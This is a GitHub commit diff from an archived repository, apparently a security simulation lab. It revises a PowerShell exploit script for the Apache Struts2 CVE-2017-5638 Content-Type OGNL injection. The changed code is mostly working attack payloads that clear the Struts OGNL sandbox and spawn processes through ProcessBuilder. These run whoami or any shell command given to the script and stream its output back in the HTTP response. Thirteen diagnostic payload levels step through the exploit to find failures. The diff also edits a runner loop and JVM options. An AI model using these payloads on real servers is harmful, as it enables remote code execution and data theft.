Skip to content
This repository was archived by the owner on Apr 27, 2026. It is now read-only.

Commit 75b4b65

Browse files
committed
refactor(script): extend diagnostic levels to 1-13
1 parent 419ca8d commit 75b4b65

3 files changed

Lines changed: 73 additions & 34 deletions

File tree

simulation/attack-script/exploit_cve_2017_5638.ps1

Lines changed: 68 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -157,31 +157,63 @@ $writeSuffix =
157157
if ($DiagLevel -gt 0) {
158158
# -- DIAGNOSTIC MODE: incremental payloads to find exact failure step --
159159
$diagLabel = switch ($DiagLevel) {
160-
1 { "sandbox bypass only" }
161-
2 { "Runtime.getRuntime() + freeMemory()" }
162-
3 { "new StringBuilder - test new for java.lang" }
163-
4 { "new ProcessBuilder({'whoami'}) - NO start" }
164-
5 { "PB.command() - verify PB internals" }
165-
6 { "PB.start() - the actual process creation" }
166-
7 { "rt.exec('whoami') - separate var, not chained" }
167-
8 { "getRuntime().exec('whoami') - chained form" }
168-
9 { "new File('.').getAbsolutePath() - another java.io class" }
160+
1 { "sandbox bypass only" }
161+
2 { "Runtime.getRuntime() + freeMemory()" }
162+
3 { "new StringBuilder - test new for java.lang" }
163+
4 { "new ProcessBuilder({'whoami'}) - NO start" }
164+
5 { "PB.command() - verify PB internals" }
165+
6 { "PB.start() - the actual process creation" }
166+
7 { "rt.exec('whoami') - separate var, not chained" }
167+
8 { "getRuntime().exec('whoami') - chained form" }
168+
9 { "new File('.').getAbsolutePath() - another java.io class" }
169+
10 { "Class.forName(IOUtils) - is commons-io on classpath?" }
170+
11 { "PB.start() + get InputStream class name" }
171+
12 { "PB.start() + read ONE byte from InputStream" }
172+
13 { "PB.start() + IOUtils.copy to response (FULL STREAM)" }
169173
}
170174
Write-Host "[STEP 2] DIAGNOSTIC level $DiagLevel - $diagLabel" -ForegroundColor Magenta
171175

176+
# Levels 1-9 use the $writeSuffix to write a #proof string to the response.
177+
# Level 10 also uses $writeSuffix (returns class name as string).
178+
# Levels 11-12 also use $writeSuffix (returns InputStream info as string).
179+
# Level 13 writes directly to the response output stream via IOUtils.copy.
172180
$diagBody = switch ($DiagLevel) {
173-
1 { ".(#proof='DIAG1: sandbox_bypass=OK')" }
174-
2 { ".(#rt=@java.lang.Runtime@getRuntime()).(#mem=#rt.freeMemory()).(#proof='DIAG2: mem=' + #mem)" }
175-
3 { ".(#sb=new java.lang.StringBuilder('test')).(#proof='DIAG3: StringBuilder=' + #sb.toString())" }
176-
4 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#proof='DIAG4: PB=' + #p.toString())" }
177-
5 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#cmd=#p.command()).(#proof='DIAG5: command=' + #cmd.toString())" }
178-
6 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#proof='DIAG6: process=' + #process.toString())" }
179-
7 { ".(#rt=@java.lang.Runtime@getRuntime()).(#process=#rt.exec('whoami')).(#proof='DIAG7: process=' + #process.toString())" }
180-
8 { ".(#process=@java.lang.Runtime@getRuntime().exec('whoami')).(#proof='DIAG8: process=' + #process.toString())" }
181-
9 { ".(#f=new java.io.File('.')).(#proof='DIAG9: cwd=' + #f.getAbsolutePath())" }
181+
1 { ".(#proof='DIAG1: sandbox_bypass=OK')" }
182+
2 { ".(#rt=@java.lang.Runtime@getRuntime()).(#mem=#rt.freeMemory()).(#proof='DIAG2: mem=' + #mem)" }
183+
3 { ".(#sb=new java.lang.StringBuilder('test')).(#proof='DIAG3: StringBuilder=' + #sb.toString())" }
184+
4 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#proof='DIAG4: PB=' + #p.toString())" }
185+
5 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#cmd=#p.command()).(#proof='DIAG5: command=' + #cmd.toString())" }
186+
6 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#proof='DIAG6: process=' + #process.toString())" }
187+
7 { ".(#rt=@java.lang.Runtime@getRuntime()).(#process=#rt.exec('whoami')).(#proof='DIAG7: process=' + #process.toString())" }
188+
8 { ".(#process=@java.lang.Runtime@getRuntime().exec('whoami')).(#proof='DIAG8: process=' + #process.toString())" }
189+
9 { ".(#f=new java.io.File('.')).(#proof='DIAG9: cwd=' + #f.getAbsolutePath())" }
190+
# Class.forName() explicitly loads a class by name — more reliable than @ClassName@class
191+
# which treats 'class' as a static field name (invalid OGNL).
192+
10 { ".(#cls=@java.lang.Class@forName('org.apache.commons.io.IOUtils')).(#proof='DIAG10: IOUtils=' + #cls.getName())" }
193+
# Get the runtime type of the InputStream returned by the process — confirms we
194+
# CAN obtain the stream reference, even if we can't read from it yet.
195+
11 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#is=#process.getInputStream()).(#proof='DIAG11: IS=' + #is.getClass().getName())" }
196+
# Read exactly ONE byte (returned as int 0-255). 'whoami' output is ASCII so
197+
# the first byte is the first character of the username.
198+
12 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#b=#process.getInputStream().read()).(#proof='DIAG12: first_byte=' + #b)" }
182199
}
183200

184-
$contentType = ".%{" + $bypassPrefix + $diagBody + "." + $writeSuffix + "}.multipart/form-data"
201+
if ($DiagLevel -eq 13) {
202+
# Level 13 streams directly to the HTTP response via IOUtils — no #proof variable.
203+
$directBody =
204+
".(#p=new java.lang.ProcessBuilder({'whoami'}))." +
205+
"(#p.redirectErrorStream(true))." +
206+
"(#process=#p.start())." +
207+
"(#response=@org.apache.struts2.ServletActionContext@getResponse())." +
208+
"(#response.setContentType('text/plain'))." +
209+
"(#ros=#response.getOutputStream())." +
210+
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." +
211+
"(#ros.flush())." +
212+
"(#response.flushBuffer())"
213+
$contentType = ".%{" + $bypassPrefix + $directBody + "}.multipart/form-data"
214+
} else {
215+
$contentType = ".%{" + $bypassPrefix + $diagBody + "." + $writeSuffix + "}.multipart/form-data"
216+
}
185217

186218
} elseif ($DemoMode) {
187219
# -- DEMO MODE: clears the Struts2 sandbox, then writes a proof string directly
@@ -218,13 +250,19 @@ if ($DiagLevel -gt 0) {
218250
# setMemberAccess to DEFAULT_MEMBER_ACCESS (allows static method calls
219251
# like getResponse()). DEFAULT_MEMBER_ACCESS is a static FIELD, not a
220252
# method, so it is accessible even with allowStaticMethodAccess=false.
221-
# 6. Runtime.exec(String[]) runs the command via /bin/sh. We use a String
222-
# array form so the shell receives the command as a single token — the
223-
# single-string overload uses StringTokenizer which would split on spaces
224-
# and break commands like 'cat data/users.yaml' into separate arguments.
225-
# 7. waitFor() ensures the process exits; readAllBytes() drains stdout.
226-
# 8. Write output bytes via getOutputStream() + setContentLength +
227-
# flushBuffer() to commit the response before JSP rendering.
253+
# 6. ProcessBuilder (List form) confirmed working at diagnostic level 6.
254+
# redirectErrorStream(true) merges stderr into stdout so errors surface.
255+
# The List form {'exe','flag','cmd'} is used because OGNL 3.0.x can
256+
# resolve ProcessBuilder(List<String>) but struggles to pass a
257+
# 'new String[]{...}' primitive array through its reflection layer.
258+
# 7. IOUtils.copy streams the process stdout directly to the HTTP response
259+
# output stream without any intermediate String or byte[] variable.
260+
# This is the canonical working approach for this CVE — it avoids
261+
# readAllBytes() (OGNL passes byte[] as Object[], breaking String(byte[],charset)),
262+
# and avoids Scanner.hasNext() (unknown compatibility in OGNL 3.0.x).
263+
# IOUtils.copy blocks until the stream is exhausted (i.e., the process
264+
# exits), so no explicit waitFor() is needed.
265+
# 8. flushBuffer() commits the response before JSP rendering.
228266
#
229267
# Select the OS shell that the JVM will spawn. The JVM runs on the same OS
230268
# as the server, so we detect which platform PowerShell is on (they match
@@ -241,15 +279,13 @@ if ($DiagLevel -gt 0) {
241279
"(#ognlUtil.getExcludedPackageNames().clear())." +
242280
"(#ognlUtil.getExcludedClasses().clear())." +
243281
"(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))." +
244-
"(#process=@java.lang.Runtime@getRuntime().exec(new String[]{'$shellExe','$shellFlag','$escapedCmd'}))." +
245-
"(#process.waitFor())." +
246-
"(#out=new java.lang.String(#process.getInputStream().readAllBytes(),'UTF-8'))." +
282+
"(#p=new java.lang.ProcessBuilder({'$shellExe','$shellFlag','$escapedCmd'}))." +
283+
"(#p.redirectErrorStream(true))." +
284+
"(#process=#p.start())." +
247285
"(#response=@org.apache.struts2.ServletActionContext@getResponse())." +
248286
"(#response.setContentType('text/plain'))." +
249-
"(#bytes=#out.getBytes('UTF-8'))." +
250-
"(#response.setContentLength(#bytes.length))." +
251287
"(#ros=#response.getOutputStream())." +
252-
"(#ros.write(#bytes))." +
288+
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." +
253289
"(#ros.flush())." +
254290
"(#response.flushBuffer())" +
255291
"}.multipart/form-data"

simulation/attack-script/run.ps1

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -25,9 +25,9 @@ While ($true) {
2525
& "$PSScriptRoot/exploit_cve_2017_5638.ps1" -Command $readCmd
2626
}
2727
'd' {
28-
Write-Host "`n=== DIAGNOSTIC: Running levels 1-6 ===" -ForegroundColor Magenta
28+
Write-Host "`n=== DIAGNOSTIC: Running levels 1-13 ===" -ForegroundColor Magenta
2929
Write-Host "Each level adds one step. First failure reveals the problem.`n" -ForegroundColor Magenta
30-
for ($lvl = 1; $lvl -le 9; $lvl++) {
30+
for ($lvl = 1; $lvl -le 13; $lvl++) {
3131
Write-Host "--- Diagnostic level $lvl ---" -ForegroundColor Magenta
3232
& "$PSScriptRoot/exploit_cve_2017_5638.ps1" -DiagLevel $lvl
3333
Write-Host ""

simulation/backend/.mvn/jvm.config

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,6 @@
11
--add-opens java.base/java.lang=ALL-UNNAMED
22
--add-opens java.base/java.io=ALL-UNNAMED
33
--add-opens java.base/java.util=ALL-UNNAMED
4+
--add-opens java.base/java.util.concurrent=ALL-UNNAMED
5+
--add-opens java.base/sun.reflect=ALL-UNNAMED
6+
--add-opens java.base/java.lang.reflect=ALL-UNNAMED

0 commit comments

Comments
 (0)